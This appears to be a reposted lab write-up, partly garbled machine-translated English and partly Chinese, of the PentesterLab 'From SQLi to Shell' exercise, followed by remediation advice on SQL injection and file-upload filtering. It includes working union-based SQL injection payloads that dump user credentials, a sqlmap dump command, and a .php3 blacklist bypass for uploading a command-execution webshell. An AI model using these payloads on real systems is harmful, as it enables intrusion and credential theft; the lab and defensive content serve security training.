SQL injection joint target host file upload control

Environment Introduction

Download the test environment:

https://pentesterlab.com/exercises/from_sqli_to_shell

 

 

2 reproduction process

 

1. namp open port scan the target IP

2. Port found by the host Nmap to understand the drone of open ports 22, 80, then we have access to 80 ports can be found there is id = X SQL injection risk points

 

3. injection attacks via SQL, as you drag the library

 

/cat.php?id=1 order by 5

 

 

 /cat.php? id = 2 order by 4 by performing POC, shows the presence of 4

 

 

 /cat.php?id=-1 union select 1, database (), 3,4 () function to get the current database to database by photoblog

 

 

/cat.php?id=-1 union select 1, table_name, 3,4 from information_schema.tableswhere table_schema = "photoblog" binding information_schema .tables table acquired by the library name, obtaining the corresponding table name library photoblog

 

 

/cat.php?id=-1 union select 1, group_concat (column_name), 3,4 from information_schema.columns where table_name = "users" in conjunction with the collection of information, access users table field

 

 

 

/cat.php?id=-1 union select 1, group_concat (login, 0x3a, password), 3,4 from users acquiring user information table

 

 

As used herein, Salmap be dragged library, the command is as follows:

 

>.\sqlmap.py -u "http://192.168.17.140/cat.php?id=1" -D photoblog -T pictures -C id,cat,img,title --dump --start 1 --stop 5 表示获取categories表中1-5的数据

 

\sqlmap\output\192.168.17.140\dump\photoblog目录下的pictures.csv文件为拖库导出的相应表数据

 

4.通过获取的Admin用户信息登录网站后台

1)上传普通的jpeg文件,通过Burp抓/放包过程可以获取服务器相应的适配组件

2) 通过上传发现存在PHP文件上传限制

3)对于php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5这些后缀的文件。通过修改php文件后缀为php3,绕过文件上传黑名单,上传使用GET参数获取命令执行的PHP文件

 

4)访问上传后文件所在界面,通过查看源码可以发现文件所在位置

5)访问上传文件,并结合相应的系统命令进行传参执行

 

3修复建议

 

 

 

预防SQL注入

 

严格检查输入变量的类型和格式

  • 对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)

  • 对字符串类型的参数的校验 (正则校验),例如登陆系统的用户名的校验,若校验规则为六位数字以上的字母或者数字,可以用preg_match("/^[a-zA-Z0-9]{6,}$/") www.gendan5.com

过滤和转义特殊字符

  • 用php函数addslashes()进行转义,一般是对这些特殊字符进行转义:单引号(')、双引号(")、反斜杠(\)、NULL

 

  • 用mysqli的php扩展中的函数 mysqli_real_escape_string(),转义字符串中的特殊字符

 

 

 

 

 

预防文件上传漏洞

 

验证文件扩展名通常有两种方式:黑名单和白名单

其他几种文件上传漏洞防御方法:

  • 检查文件上传路径(避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历)

  • 文件扩展名检测(避免服务器以非图片的文件格式解析文件)

  • 文件MIME验证(比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等)

  • 文件内容检测(避免图片中插入 webshell)

  • 图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)

  • 文件重命名(如随机字符串或时间戳等方式,防止攻击者得到 webshell的路径)

 

4总结思考

       黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的扩展名,服务器端在接收文件后,与黑名单扩展名对比,如果发现文件扩展名与黑名单里的扩展名匹配,则认为文件不合法。

 

为什么黑名单过滤是一种不安全的方式?

    比如一个Web服务器为IIS6.0,Web语言为asp的网站,假定开发者使用了黑名单过滤,过滤了asp、asa、cer 等文件格式,那么可以尝试以下几种方式来绕过:

(1)大小写,比如AsP、cER等;

(2)被忽略的扩展名,IIS6.0会把cdx格式的文件当成asp来解析;

(3)配合解析漏洞,上传asp;.jpg格式文件;

(4)如果Web服务器开启了其他语言的支持,比如可以解析php文件,那么可以上传php格式的木马;

(5)利用Windows系统自动去除.和空格的特性,如上传扩展名asp.式的文件来绕过

通过以上几个例子可看出 , 黑名单过滤可靠性并不高 , 白名单过滤相对来说较为可靠


        白名单与黑名单的机制恰恰相反,黑名单是定义不允许上传的扩展名,白名单则是定义允许上传的扩展名,虽然采用白名单可以防御未知风险,但是不能完全依赖白名单,因为白名单不能完全防御上传漏洞,例如各种解析漏洞等,白名单仅仅是防御上传漏洞的第一步。通常会结合其他验证方式来使用,虽然不能完全防御文件上传漏洞,但也基本上规避了绝大部分风险。

值得注意的一点是,攻击者上传了webshell之后需要得到webshell的路径才能通过工具连接webshell,所以尽量不要在任何地方(如下载链接等)暴露文件上传后的地址。

 

Guess you like

Origin www.cnblogs.com/gendan5/p/11576914.html